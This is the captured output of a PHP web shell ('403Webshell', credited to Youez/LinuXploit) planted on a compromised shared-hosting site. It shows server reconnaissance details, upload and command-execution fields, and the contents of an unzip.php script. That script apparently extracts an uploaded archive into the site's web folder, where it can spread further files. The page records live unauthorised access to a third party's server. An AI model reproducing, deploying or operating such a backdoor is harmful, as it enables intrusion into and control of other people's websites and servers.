403Webshell
Server IP : 217.160.0.50  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u106894358 ( 5897830)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/43/d895481126/htdocs/clickandbuilds/LogestyServices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/43/d895481126/htdocs/clickandbuilds/LogestyServices//unzip.php
<?php
// ================= CONFIGURATION =================
$zipFile = 'mk.zip';           // ← Change this to your zip file name/path
// ==================================================

if (!file_exists($zipFile)) {
    die("Error: File '$zipFile' not found!\n");
}

if (pathinfo($zipFile, PATHINFO_EXTENSION) !== 'zip') {
    die("Error: '$zipFile' is not a .zip file!\n");
}

$zip = new ZipArchive;
$absolutePath = realpath($zipFile);
$extractPath = dirname($absolutePath);  // same folder as the zip file

echo "Trying to extract: $zipFile\n";
echo "Destination folder: $extractPath\n\n";

if ($zip->open($zipFile) === TRUE) {
    // Optional: show what will be extracted
    echo "Files inside the archive:\n";
    for ($i = 0; $i < $zip->numFiles; $i++) {
        echo "  - " . $zip->getNameIndex($i) . "\n";
    }
    echo "\n";

    // Extract everything
    $success = $zip->extractTo($extractPath);

    if ($success) {
        echo "✓ Extraction completed successfully!\n";
    } else {
        echo "✗ Extraction failed!\n";
    }

    $zip->close();
} else {
    echo "✗ Cannot open zip file! (error code: " . $zip->status . ")\n";
    switch ($zip->status) {
        case ZipArchive::ER_NOZIP:
            echo "→ Not a valid zip archive\n";
            break;
        case ZipArchive::ER_READ:
            echo "→ Read error (permission?)\n";
            break;
        default:
            echo "→ Unknown error\n";
    }
}

echo "\n";

Youez - 2016 - github.com/yon3zu
LinuXploit